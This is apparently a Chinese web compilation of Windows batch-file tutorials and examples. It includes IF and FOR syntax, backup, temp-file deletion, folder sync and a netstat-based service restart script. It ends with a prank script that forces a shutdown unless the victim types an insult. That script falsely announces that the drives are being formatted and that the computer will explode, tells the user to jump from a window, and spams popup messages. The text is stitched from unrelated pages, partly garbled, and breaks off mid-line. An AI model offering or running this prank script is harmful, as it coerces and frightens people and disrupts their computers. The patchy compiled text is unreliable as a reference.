BAT精彩实例1

合集下载

BAT示例

BAT示例

批处理示例1. IF-EXIST1)首先用记事本在C:¥建立一个test1.bat批处理文件,文件内容如下:@echo offIF EXIST ¥AUTOEXEC.BAT TYPE ¥AUTOEXEC.BATIF NOT EXIST ¥AUTOEXEC.BAT ECHO ¥AUTOEXEC.BAT does not exist然后运行它:C:¥>TEST1.BAT如果C:¥存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。

2)接着再建立一个test2.bat文件,内容如下:@ECHO OFFIF EXIST ¥%1 TYPE ¥%1IF NOT EXIST ¥%1 ECHO ¥%1 does not exist执行:C:¥>TEST2 AUTOEXEC.BAT该命令运行结果同上。

说明:(1) IF EXIST 是用来测试文件是否存在的,格式为IF EXIST [路径+文件名] 命令(2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。

3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下:@echo offIF "%1" == "A" ECHO XIAOIF "%2" == "B" ECHO TIANIF "%3" == "C" ECHO XIN如果运行:C:¥>TEST3 A B C屏幕上会显示:XIAOTIANXIN如果运行:C:¥>TEST3 A B屏幕上会显示XIAOTIAN在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。

有趣的bat文件代码

有趣的bat文件代码

有趣的bat文件代码
有趣的.bat文件代码
.bat文件是一种批处理文件,它包含了一系列用于自动执行命令的指令。

虽然它们通常用于执行日常的系统管理任务,但.bat文件也可以用来制作一些有趣的代码。

在本文中,我们将探索一些有趣的.bat文件代码,这些代码可以实现各种奇妙的效果。

1. 打印彩色文本:
@echo off
echo This is some colorful text!
echo [1m This will be displayed in bright white.
echo [32m This will be displayed in green.
echo [47m This will be displayed on a white background.
echo [31;47m This will be displayed in red on a white background.
pause
这段代码可以在命令提示符窗口中显示彩色文本。

通过使用ANSI 转义序列,我们可以改变文本的颜色和背景色。

该代码中的\。

bat批处理超级详细教程(1)

bat批处理超级详细教程(1)

保证原创精品已受版权保护
bat批处理超级详细教程(1)
这是一篇技术教程,我会用很简单的文字表达清楚自己的意思,你要你识字就能看懂,就能学到知识。

写这篇教程的目的,是让每一个看过这些文字的朋友记住一句话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥远,而有些很遥远的东西却又突然回到了眼前。

先概述一下批处理是个什么东西。

批处理的定义,至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟,当然就更不用说了;但我想总结出一个“比较合适的”,而且我也相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东西,你用这个东西可以干什么事情。

或许你会因为这篇文章而“无条件爱上批处理”,那么我的目的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的!
按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的。

ok,never cler and get to business(闲话少说言归正传)。

批处理,也称为批处理脚本,英文译为BATCH,批处理文。

bat命令集锦(一)

bat命令集锦(一)

bat命令集锦(⼀)⼀、知识点(1) 切换⽬录cd /d "⽬标⽬录"如:cd /d "E:/logs"(2) 获取当前脚本所在全路径%~dp0如: cd /d %~dp0 表⽰切换到当前执⾏脚本所在路径(3) 设置变量值set 变量=xxx如: set SH_DIR=%~dp0 表⽰将当前执⾏脚本所在路径赋值给 SH_DIR变量(4) 使⽤变量值%变量%如: echo %SH_DIR% 表⽰打印变量 SH_DIR 中的值(5) findstr表⽰对数据进⾏筛选,查找符合条件的数据如:netstat -ano|findstr 8082 表⽰查找占⽤8082的进程(6) 获取当前⽬录%cd%如:set ROOT_DIR=%cd% 表⽰将当前⽬录路径赋值给 ROOT_DIR(7) for 循环遍历在 cmd 窗⼝中:for %i in (command1) do command2在批处理⽂件中:for %%i in (command1) do command2说明:a) command1 表⽰的字符串或变量可以是⼀个或多个,当时多个的时候,每个元素之间⽤空格键、跳格键、逗号、分号或等号隔开;如: for %%i in (A,B,C) do echo %%i输出结果为:ABCb) 搜索当前⽬录下有哪些⽂件for %%i in (*.*) do echo %%ic) 搜索当前⽬录下所有的⽂本⽂件for %%i in (*.txt) do echo "%%i"d) 解析某个⽂件中的全部⾏for /f %%i in (%filepath%) do echo %%i 输出⽂件中的所有⾏,这⾥使⽤了 /f 表⽰解析每⾏内容e) tokens、delims 表⽰对每⾏的数据按照 delims 指定的分隔符进⾏分割,获取tokens 指定的列for /f "delims=、" %%i in (%filepath%) do echo %%i 表⽰遍历 filepath ⽂件中的每⾏,使⽤ "、" 对每⾏数据进⾏分割,默认提取第⼀列,则 echo %%i 表⽰打印每⾏第⼀列的内容for /f "tokens=5 delims=、-." %%i in (%filepath%) do echo %%i 表⽰遍历 filepath ⽂件中的每⾏,使⽤ "、-." 对每⾏数据进⾏分割,提取第五列,则 echo %%i 表⽰打印每⾏第五列的内容(8) if ⽤法格式:if condition (多条语句) else (多条语句)注意:这⾥的( ) 连个括号必须前后有空格,要不然不能成功执⾏a) if not condition 如:if not "%pid%"=="" 表⽰pid值不为空时为 trueb) if condition 如:if "%pid%"=="" 表⽰pid的值为空时为 truec) if exist ⽂件或⽬录如:if exist %filepath% 表⽰⽂件存在为 trued) if not exist ⽂件或⽬录如:if not exist %filepath% 表⽰⽂件不存在为 truee) 数值⽐较int1 equ int2 判断2个数值是否相等,相等为 trueint1 gtr int2 判断 int1 是否⼤于 int2 ,当 int1 ⼤于 int2 时为 trueint1 geq int2 判断 int1 是否⼤于或等于 int2,当 int1 ⼤于或等于 int2 时为 trueint1 leq int2 判断 int1 是否⼩于或等于 int2,当 int1 ⼩于或等于 int2 时为 trueint1 neq int2 判断 int1 是否不等于 int2,当 int1 不等于 int2 时为 true(9) 后台执⾏脚本start /b xxx.bat 后台执⾏脚本start /b java -jar xxx.jar 后台执⾏ jar 程序(10) 获取前⼀条语句执⾏结果%errorlevel%如: echo %errorlevel%(11) 创建⽬录/⽂件mkdir xxx 或 md xxx(12) 强杀进程taskkill /pid %pid% -F⼆、实操(1) 后台启动 java 程序cd /d %~dp0set SH_DIR=%~dp0cd ../set ROOT_DIR=%cd%echo %ROOT_DIR%echo %SH_DIR%set LOG_DIR=%ROOT_DIR%\logif not exist %LOG_DIR% (md %LOG_DIR%)start /b java -jar %ROOT_DIR%/consul-consumer.jar >> %LOG_DIR%/start.logset result=%errorlevel%echo result=%result%exit %result%(2) 对使⽤ findstr 查询到的多⾏结果进⾏逐⾏处理for /F "tokens=5 delims= " %%i in ('netstat -ano ^|findstr 8082^|findstr LISTENING') do set pid=%%i。

有用的bat实例

有用的bat实例

有用的bat实例一、引言在计算机操作中,批处理(Batch)文件是一种用于自动化一系列命令的脚本文件。

通过使用批处理文件,我们可以简化重复的操作,提高工作效率。

本篇文章将介绍几个实用的批处理实例,帮助您更好地了解批处理文件的功能和应用。

二、实例1:自动备份文件目的:每天自动将指定目录下的文件备份到另一个存储设备。

步骤:1. 创建一个新的批处理文件,命名为“备份.bat”。

2. 在批处理文件中输入以下命令:```shell@echo offset source_folder=C:\Data\Currentset backup_folder=D:\Backup\for %%f in (%source_folder%*.*) do (echo Backing up file: %%fcopy "%%f" "%backup_folder%")```3. 设置一个计划任务,每天凌晨执行“备份.bat”文件。

4. 确保已将需要备份的文件放置在“source_folder”指定的目录下。

效果:每天凌晨,批处理文件将自动将指定目录下的文件备份到另一个存储设备,便于数据保护和恢复。

三、实例2:批量重命名文件目的:将指定目录下所有以“.jpg”结尾的文件按照年份和序号进行重命名。

步骤:1. 创建一个新的批处理文件,命名为“rename.bat”。

2. 在批处理文件中输入以下命令:```batch@echo offset source_folder=C:\Images\for %%f in (%source_folder%*.jpg) do (set filename=%%~nfset year=%filename:~0,4%set number=%filename:~-4%ren "%%f" "(%year%)%number%.jpg")```3. 设置一个计划任务,每天凌晨执行“rename.bat”文件。

经典bat批处理范例

经典bat批处理范例

经典bat批处理范例批处理脚本(通常以`.bat` 为扩展名)是在Windows 操作系统中运行的脚本文件,用于执行一系列命令。

以下是一个简单的经典批处理脚本范例,演示了一些常见的操作,如用户输入、条件语句、循环等。

```batch@echo offREM 这是一个经典的批处理脚本范例REM 获取用户输入set /p username=请输入您的用户名:REM 显示欢迎消息echo 欢迎, %username%! 这是一个经典批处理脚本。

REM 显示当前日期和时间echo 当前日期和时间: %date% %time%REM 检查操作系统版本verREM 使用条件语句if "%username%"=="admin" (echo 你是管理员用户。

) else (echo 你不是管理员用户。

)REM 使用循环set count=1:loopecho 这是第%count% 次循环。

set /a count+=1if %count% leq 5 goto loopREM 暂停以便查看输出pause```这个批处理脚本执行以下操作:1. 获取用户输入用户名。

2. 显示欢迎消息和当前日期时间。

3. 检查操作系统版本。

4. 使用条件语句检查用户是否为管理员。

5. 使用循环输出消息多次。

6. 最后,通过`pause` 命令使脚本暂停,以便用户查看输出。

请注意,批处理语法相对简单,但也有一些限制和注意事项。

在更复杂的情况下,可能需要考虑使用其他脚本语言或编程语言。

windowsBAT实用操作实例

windowsBAT实用操作实例

windowsBAT实⽤操作实例BAT⽂件netstat_tcp_restart.bat(判断TCP连接数情况并执⾏MYSQL、IIS、主机重启,以防⽌攻击。

可利⽤执⾏计划数分钟执⾏⼀次检测)@echo offsetlocal enabledelayedexpansionfor /f %%i in ('netstat -an') do (set /a a+=1)rem ======本程序将交由VBS执⾏,执⾏时不会显⽰窗⼝,vbs⽂件如下:=========rem createobject ("wscript.shell").run "netstat_tcp_restart.bat",0:: echo "本脚本⽤于检测TCP数量,防⽌⽹络攻击时IIS假死":: echo "每10min运⾏⼀次,每次执⾏5秒-1分钟左右":: echo "本脚本运⾏完⾃动关闭,请不要⼿动操作! ":: echo %a%if %a% GTR 10000 (rem echo "⽹络异常,tcp使⽤: %a%"if %a% GTR 15000 (if %a% GTR 40000 (rem echo ">40000 connections now restart computer!"shutdown -r -t 0ping 127.0.0.1 -n 60 > nul) else (rem echo "15000<tcp numbers<40000 restart iis"rem "C:\Program Files\osinit\bin\reset-network" 1>nul 2>nulC:\Windows\System32\iisreset.exeping 127.0.0.1 -n 50 > nul)) else (rem echo "10000<tcp numbers<15000 restart mysql"net stop mysql5net start mysql5ping 127.0.0.1 -n 30 > nul)) else (rem echo "⽹络正常,tcp使⽤: %a%"rem ping 127.0.0.1 -n 5 > nul)@echo onexitBAT⽂件database_backup.bat (执⾏MYSQL备份。

有用的bat实例 -回复

有用的bat实例 -回复

有用的bat实例-回复「有用的bat实例」- 一步一步回答引言:在计算机领域,批处理文件(.bat)是一种用于批量处理命令的脚本文件。

它可以自动化执行一系列任务,提高工作效率,减少人工操作。

本文将介绍几个有用的.bat实例,并提供一步一步的解释和操作指南,希望能帮助读者更好地理解和使用这些批处理脚本。

让我们开始吧!1. 文件备份脚本:首先,我们来看一个示例,用于备份目标文件夹中的所有文件。

这个脚本将目标文件夹中的所有文件复制到指定的备份文件夹中。

步骤:1. 打开文本编辑器(如记事本)。

2. 创建一个新的文本文件,并将以下命令粘贴到文件中:echo offset "source_folder=C:\目标文件夹路径"set "backup_folder=C:\备份文件夹路径"xcopy "source_folder\*" "backup_folder" /E /Y /I3. 将“目标文件夹路径”和“备份文件夹路径”替换为实际的文件夹路径。

4. 保存文件,并将其命名为“backup.bat”(或其他任意名称)。

5. 双击运行备份脚本。

解释:- 第2行的“echo off”命令用于关闭命令提示符中的脚本执行输出。

这将使脚本在后台运行,而不显示命令执行输出。

- 第3行和第4行分别创建了两个变量,用于存储目标文件夹和备份文件夹的路径。

- 第5行使用了“xcopy”命令,用于从目标文件夹复制文件到备份文件夹。

通过使用参数“/E”和“/Y”,脚本将复制目录及其所有子目录和文件,并覆盖备份文件夹中已存在的文件。

2. 网络连接检测脚本:接下来,我们将介绍一个用于检测网络连接的.bat脚本。

这个脚本将检查计算机是否与指定的网络地址成功连接,并给出相应的提示。

步骤:1. 打开文本编辑器。

2. 创建一个新的文本文件,并将以下命令粘贴到文件中:echo offping -n 1 指定的网络地址if errorlevel==0 (echo 成功连接到网络。

几个有用的bat脚本

几个有用的bat脚本

几个有用的bat脚本自动清除垃圾的后台脚本@echo offecho 正在清除系统垃圾文件,请稍等......:loopdel /f /s /q %systemdrive%\*.tmpdel /f /s /q %systemdrive%\*._mpdel /f /s /q %systemdrive%\*.logdel /f /s /q %systemdrive%\*.giddel /f /s /q %systemdrive%\*.chkdel /f /s /q %systemdrive%\*.olddel /f /s /q %systemdrive%\recycled\*.*del /f /s /q %windir%\*.bakdel /f /s /q %windir%\prefetch\*.*rd /s /q %windir%\temp & md %windir%\tempdel /f /q %userprofile%\cookies\*.*del /f /q %userprofile%\recent\*.*del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"del /f /s /q "%userprofile%\Local Settings\Temp\*.*"del /f /s /q "%userprofile%\recent\*.*"echo 清除系统垃圾完成!刘选华ping -n 1800 127.1>nul::暂停一定时间goto loop两个目录自动更新,保持同步@echo offd:cd \kuwoset source1="%d:\kuwo\*.mp3%"set source2="%d:\kuwo\*.doc%"set destination="%d:\temp%":loopif not exist %destination% (xcopy /s/v/k/y/r/h %source1% %destination%\) else (xcopy /s/v/k/d/r/h/y %source2% %destination%&xcopy /s/v/k/y/r/h %source1% %destination%\ping -n 180 127.1>nul::暂停一定时间goto loop@echo off 双向同步 xcopy /s/v/k/d/r/h/y %destination% %source%)一个监控当天电脑运行时间的bat脚步,默认为140分钟,也在在c盘新建 time.txt 文件以更改设置时间,只需在time.txt中保存每天电脑运行时间即可。

【最新】bat输出日志-范文模板 (4页)

【最新】bat输出日志-范文模板 (4页)

本文部分内容来自网络整理,本司不为其真实性负责,如有异议或侵权请及时联系,本司将立即删除!== 本文为word格式,下载后可方便编辑和修改! ==bat输出日志篇一:windows环境,tomcat输出日志到文件和控制台网上找的,本人实验成功的,发来大家共享在windows下tomcat的启动脚本默认不像unix下的脚本那样输出应用日志到logs/catalina.out,只在console中输出,如果日志刷的太快根本没法找到错误信息。

为了把日志输出到文件,需要修改以下脚本。

1)修改startup.bat,把脚本的倒数第二行:call "%EXECUTABLE%"start %CMD_LINE_ARGS%改为:call "%EXECUTABLE%" run %CMD_LINE_ARGS%2)修改catalina.bat最后的一部分代码:红色划线的部分是需要增加的代码:>>?TALINA_HOME%\logs\catalina.?te:~0,10%.out其中的catalina.?te:~0,10%.out是为了分日期存放日志文件。

在cmd下echo ?te%看看,如:201X-04-19 星期二发现从第一个字符开始,长度为10的子串正是201X-04-19。

这样在开发过程中每次双击startup.bat启动tomcat,脚本都会把应用日志保存到日期对应命名的日志文件中了。

可是又带来一个新的问题,由于>>?TALINA_HOME%\logs\catalina.?te:~0,10%.out 把输出都重定向到了文件中,console中就无法实时显示日志内容了,如何做到既把日志保存到磁盘文件中,又能在屏幕上实时监控日志呢?想到unix下有tail -f ,于是试着度娘了一下“dos tail”,还真找到了一个在dos下的tail命令,只是要先安装一个windows组件Windows Server 201X Resource Kit Tools。

【最新推荐】bat文件范例word版本 (21页)

【最新推荐】bat文件范例word版本 (21页)

本文部分内容来自网络整理,本司不为其真实性负责,如有异议或侵权请及时联系,本司将立即删除!== 本文为word格式,下载后可方便编辑和修改! ==bat文件范例篇一:批处理bat实用实例批处理文件是无格式的文本文件,它包含一条或多条命令。

它的文件扩展名为 .bat 或 .cmd。

在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。

使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。

当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。

下面就开始我们批处理学习之旅吧。

(本文因篇幅较长,所以分成两部份。

前半部份讲命令,后半部分讲实例分析。

)一、简单批处理内部命令简介1.Echo 命令打开回显或关闭请求回显功能,或显示消息。

如果没有任何参数,echo 命令将显示当前回显设置。

语法echo [{on off}] [message]Sample:@echo off / echo hello world在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。

Sample:@echo off@echo Now initializing the program,please wait a minite...@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。

)3.Goto 命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。

整人bat大全

整人bat大全

整人bat大全1. 1、@echo offtitle 请勿关闭本程序,否则后果自负!:Nextecho “请输入:“我是猪头三”,否则将关闭计算机!"shutdown -s -t 60 -c “请输入:“我是猪头三”,否则将关闭计算机!"set /p Input=if "%input%"=="我是猪头三" goto EXITgoto Next:EXITshutdown -aecho “算你运气好,下面还有你好看的!”shutdown -s -t 60 -c “请做出选择!否则将关闭计算机!”ping 127.0.0.1 -n 2 >nulecho “你觉得我厉害吗?厉害按“Y”,不厉害按“N”set /p YN=if /i "%YN%"=="Y" shutdown -aif /i "%YN%"=="N" shutdown -ae cho “我要给你看看我的真本事!”ping 127.0.0.1 -n 2 >nul:Downecho “请输入:“你最厉害”,否则将关闭计算机!"shutdown -s -t 60 -c “请输入:“你最厉害”,否则将关闭计算机!"set /p Input=if "%input%"=="你最厉害" goto OVERgoto Down:OVERshutdown -aping 127.0.0.1 -n 1 >nulecho “怎么样,很可怕吧!”ping 127.0.0.1 -n 2 >nulecho “此计算机将在20秒内崩溃或爆炸,请马上从附近窗口跳下,否则后果自负。

”echo “即将删除此计算机上所有重要数据。

”ping 127.0.0.1 -n 1 >nulecho “正在格式化本地磁盘C:所有数据...”ping 127.0.0.1 -n 2 >nulecho “正在格式化本地磁盘D:所有数据...”ping 127.0.0.1 -n 2 >nulecho “格式化失败!,此计算机即将爆炸...”echo “请马上离开本计算机!此计算机即将爆炸!”ping 127.0.0.1 -n 2 >nulmsg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %usern ame% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %usern ame% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 “请马上离开本计算机!此计算机即将爆炸!”msg %username% /time:300 